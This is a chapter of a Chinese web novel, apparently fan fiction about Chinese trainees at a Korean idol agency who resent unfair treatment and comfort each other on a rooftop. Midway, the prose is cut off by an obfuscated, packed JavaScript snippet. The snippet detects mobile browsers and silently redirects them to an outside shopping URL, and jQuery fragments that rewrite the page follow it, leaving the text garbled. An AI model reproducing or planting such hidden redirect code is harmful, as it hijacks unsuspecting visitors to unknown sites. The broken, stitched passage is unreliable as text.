文趣网 > 都市小说 > [TWS]同心锁 > 15.于我而言
    出道组练习生们之间的氛围因为之前的退社事件更加僵化了。

    韩国练习生们这边倒是试着想要越过裴辞砚跟韩珍亲近一点——说来好笑,他们所有人里面除了韩志勋,竟然还没有一个人跟韩珍面对面正经说过话。

    但那个想法显然是徒劳的,自从被抢了part之后裴辞砚对于这些人简直是严防死守,对于韩珍更是恨不得背在身上24小时不分离。诸如金道薰申晶寰之流要是稍微靠近一些、嘴里对着韩珍发出了一个音节的话,裴辞砚就会像是应激的恶犬一样死死盯住他们,恨不得下一秒就扑上去将人撕碎。

    韩珍心里虽然觉得他有点点极端,但不可否认的是,因为裴辞砚在身边守着,确实带给了韩珍极大的安全感。

    出道先行曲他只有一句唱词的part,在三分钟的舞蹈编排中站c位的机会为0,在出道组人数为双数的时候他的走位无数次被挡在其他成员后面,也就是那家伙走了之后人数变单,为了队形好看他才得了空隙露出了脸。

    但依旧镶边。

    这种情况下,不沮丧是不可能的,再加上亲眼看到他们对待裴辞砚的方式——就连裴辞砚,这个在他看来visual、rap、dance、习得力、人品、魅力和表现力都无可挑剔的裴辞砚——都只能打落牙齿和血吞。

    韩珍承认,会得到这样分配的他确实是实力不济,但裴辞砚和他根本不是一个层级的实力也得到了削part的待遇,由此,他们的共同点便只剩下了国籍。

    ……喂喂,这个情况的话,要他怎么敢相信那些人的接触是友善的啊?

    更别提他的韩语还不熟练。

    到时候被坑死了都说不出一句话来。

    韩珍紧紧扣住裴辞砚的手,将巴掌大的小脸藏在裴辞砚宽阔的肩膀之后,只露出一双眼睛紧盯着堵在他俩面前的金道薰,眼神中充满了警惕。

    “……不用那么看着我吧。”金道薰感觉有点头疼,浑身的肌肉都不自觉绷紧了,就怕裴辞砚突然上来给他个上勾拳——看这人的表情他是真的会这么做!“你也知道的吧,出道曲demo已经出来的事情?晶寰哥稍微叫我们开个会而已。”

    裴辞砚并没有被他的话语打动,仍旧将韩珍牢牢挡在身后,垂眸思索了一会儿,轻声问道,“韩志勋已经过去了吗?”

    “?”金道薰有点摸不着头脑,不知道他为什么会这么问。但看了看裴辞砚的表情,他试探着回答,“……是的?”

    原来韩志勋也不是仅加了他一个人的联系方式。

    裴辞砚扯了扯嘴角。

    因为一开始就不合,直到现在他跟申晶寰的联系方式都是发邮件,但拜托,现在的年轻人谁会时时刻刻查看邮箱呢?除非是他故意想阴阳申晶寰的时候才会守着看。

    所以申晶寰要找他的时候,基本上也都是派个人来他面前通知。

    往常通常是崔英哉,只是不知道最近为什么渐渐换成了金道薰。

    金道薰没有等来回话,只注意到裴辞砚的视线一直停留在他身上,气氛也渐渐变得沉郁,像是沼泽一样拽着人下坠。

    不过……

    他为什么盯着我看?

    今天的穿搭……

    啊!不好!没有戴项链……该死!戒指也没有……!

    金道薰的耳尖倏地烧了起来。

    他皮肤黑,按理来说身上泛起红色的时候应该不是很显眼,但坏就坏在他今天戴了颗超明显的钻石耳钉,本来就挺吸引人视线。好巧不巧正好被裴辞砚看在眼里。

    裴辞砚真是觉得自己快被这群西八韩国人逼疯了。

    他真的很想抓着金道薰那张脸问问他到底几个意思?通知送到直接润了不结了?一直堵在他俩过去的路上还自顾自地脸红起来到底是挑衅还是挑衅?

    但是,不行。

    有监控。

    裴辞砚深呼吸了一次,视线扫过斜上方正对着他们的监控摄像头,强迫自己露出了笑容,“知道了。让我和韩珍先去一趟厕所总可以吧?”

    金道薰猛地回过神来,听到这话连忙让开了路,“呃……嗯。你知道在哪里……”

    说时迟那时快,裴辞砚一把揽住韩珍的腰跟一阵风似的从他让出来的空隙那边跑掉了。

    “……的?”金道薰愣了一下,呆呆的看着裴辞砚跟韩珍跑远的身影。

    空气中滞留着两人身上如出一辙的浅淡玫瑰香。

    唔。

    好……好闻。

    金道薰捂了下鼻子,做贼似的看了看周围,见没人能看到他才跟小狗似的使劲嗅了嗅身前的空气。

    裴辞砚……用的是什么香水呢。

    ——

    申晶寰拍了拍手,示意所有人看过来。

    “除了正式出道曲的制作之外,还有mv的拍摄会提上路程,我这边得到的消息是会出国。”申晶寰——不,得到新艺名申唯和队长title的某位大哥哥现在看起来精气神都完全不同了,裴辞砚给出的评价是太子终于登基,韩珍听到这个的时候差点没笑死。

    不过,也不能说裴辞砚错了,毕竟在出道组团名都没定下来的情况下,申晶寰的艺名和队长头衔反而率先定下,比起part惨遭抢劫的裴辞砚来说,完全是令人艳羡的待遇。

    就在裴辞砚偏头跟韩珍小声蛐蛐人的时候,申晶寰点了他的名字,“以及,辞砚,主打曲的作词还是交给你了。”

    裴辞砚当即“哈”了好大一声。

    哦哦就是好处没我的,但拉磨的驴这个身份必须按在我头上呗。

    “鄙人怕是才疏学浅、爱莫能助呐。”裴辞砚表情无辜地摊了摊手,摆事实讲道理,“公司这边也划不出工作室给我,上回我还是找隔壁的好心弟弟借的地方——人现在出道日程多么火热,总不能还让我舔着张大脸去打扰人家吧?唉,辛苦做出来的东西没有我的part就算了,但原创好像也没有我的署名权呢,既然如此——”

    是的,没错。

    当裴辞砚在先行曲的作词表里翻了又翻也没翻到他自己的名字时,就知道是做了白工。

    除了生气之外毫无办法……既然如此他又何必非要给自己多找一件事呢。

    喂喂越想越觉得这破公司烂完了啊,难不成崔太阳那小子还成百万撤离了?

    比烂可是比上充足,比下也有余啊。

    “——怎么样,要开除我吗?”

    裴辞砚知道自己不应该说这种挑衅公司的话。

    不应该,他已经忍了这破公司那么久,之前被亖韩国人各种对待都全部忍下来了,反击的手段也只是让他们小小地吃了教训,现在好不容易熬到眼看就要出道的时候,他不应该这么做。

    可心里那股从第一次得到不公平待遇的时候就开始燃烧的火苗,不知何时已经燃成了熊熊烈焰。

    论舞蹈,他自认能超过他水平的也就是韩志勋。

    论说唱,他虽然是后天自学,但天赋完全能压一直是往这方面培养的申晶寰一头,只是发音和flow还是野路子需要锻炼而已。

    论唱歌,即便不如作为主唱培养的崔英哉,他也不会差到哪里去。

    论创作能力,虽然他是青铜级,但在场所有人加起来也是零啊。

    委屈。

    委屈委屈委屈委屈委屈。

    那么看不起中国人又招什么中国练习生啊,又想吃中国市场又不想给中国人好待遇的恶毒嘴脸真的一览无余。

    如果不是无数的爱豆前辈画下的关于舞台、关于梦想的那个完美世界。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897549|211187||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>到底是谁他丫的会来这个破小韩当练习生?

    ——

    裴辞砚懊恼地环抱着韩珍,把脸埋在他单薄的脊背上。

    天台的风大,吹得人迷迷瞪瞪的,几乎睁不开眼。

    韩珍安静地等着他自己开口。

    刚刚那样的氛围,只要不是傻子,都能察觉到不对。

    而韩珍透过裴辞砚颤抖的身躯看到了他怒吼着、咆哮着不公的灵魂。

    ……但他无能为力。

    他唯一能做的事情就是在这里陪着裴辞砚。

    啊,背上的衣服好像有点打湿了,辞砚……在哭吗?

    韩珍不知道为什么,感觉自己也有点想哭了。

    在异国他乡,排他性最严重的地方,和本地人竞争那个看似光鲜亮丽的出道位——

    他本以为这就是最困难的事情,只要越过了这道门槛,便如鱼跃龙门一样海阔天空了。

    可现实告诉他,不是的。

    就算越过练习生之间互相设下的牵绊住彼此后腿的门槛,来自资本的、来自公司机器的小小一个动作也足以让他们陷入崩溃。

    就算强大如裴辞砚,一直为他遮蔽风雨,性格也无比坚韧的裴辞砚,在这漫天的狂风暴雨中,也只不过是一架飘摇的小船。

    人力该如何去对抗海啸?

    他们没有塞壬血脉,也不是传说中拥有伟力的波塞冬。

    ——他们只能与彼此相拥。

    “对不起,珍儿。”

    等了很久,韩珍想过他第一句话会说什么,就是没想到他会道歉。

    裴辞砚声音略微有些沙哑,“我不应该那么冲动的。可能、大概又拉低了公司那里对中国人的评价吧。只是又连累你了,抱歉。”

    韩珍顿了顿,摇了摇头,“不是那样的。没有辞砚的话,我连最基本的沟通都做不到,各种练习也只能靠自己摸索了。虽然我也有自信能够做到那些东西,但……辞砚给我带来了巨大的帮助,这一点是绝对不会弄错的。”

    他真诚的声音传进裴辞砚的耳朵,“我一直都没有好好谢谢辞砚。和他们不一样,我跟辞砚天生就是一起的呀,说不上连累不连累的,总不能光得了好处不想承担风险吧,我自认为脸皮还没有那么厚。”

    裴辞砚瞬间被惊到,抬起了头,“不得了了,珍儿你居然学会了阴阳怪气??不能是跟我学的吧?!”

    韩珍无奈地回过头,“……你的关注点都歪到哪里去啦。”

    但看到裴辞砚脸上残留的泪痕,韩珍心下一软,伸手轻轻为他抹掉了眼泪,“笑起来吧。辞砚还是笑着的模样让我更熟悉,更安心呢。”

    一束阳光适时打到裴辞砚脸上。

    韩珍惊奇地发现他的瞳孔即便在强光照射下也是漆黑一片,这种情况在亚洲人里面也算是少见,通常会带有一点棕色,很少会有纯黑的眼眸。

    他不出道的话,会是整片大地的损失。

    不过……

    “辞砚,你的眉钉,是不是稍微有点歪?”韩珍犹豫地伸出指尖戳了戳他眉下那两颗亮闪闪的眉钉,却没想到它们一下子掉了下来,“……诶?!”

    手忙脚乱地接住那两颗小东西之后,发现它们几乎没什么重量。

    他一脸懵地看向裴辞砚。

    “被你发现了~”裴辞砚终于打起了精神。他亲昵地往前,蹭了蹭韩珍的额头,被泪水洗过的漆黑眼眸里盈满笑意,“我的眉钉一直都是贴的啦,因为感觉很帅气。要是让老妈知道我敢在脸上打钉子,啧啧……”

    “诶……”韩珍被毛茸茸的大狗这么一蹭,看着他恢复了活力的样子,唇边也不自觉挂上了笑。

    不管怎么样,只要裴辞砚还在他身边。

    他便有着一往无前的勇气。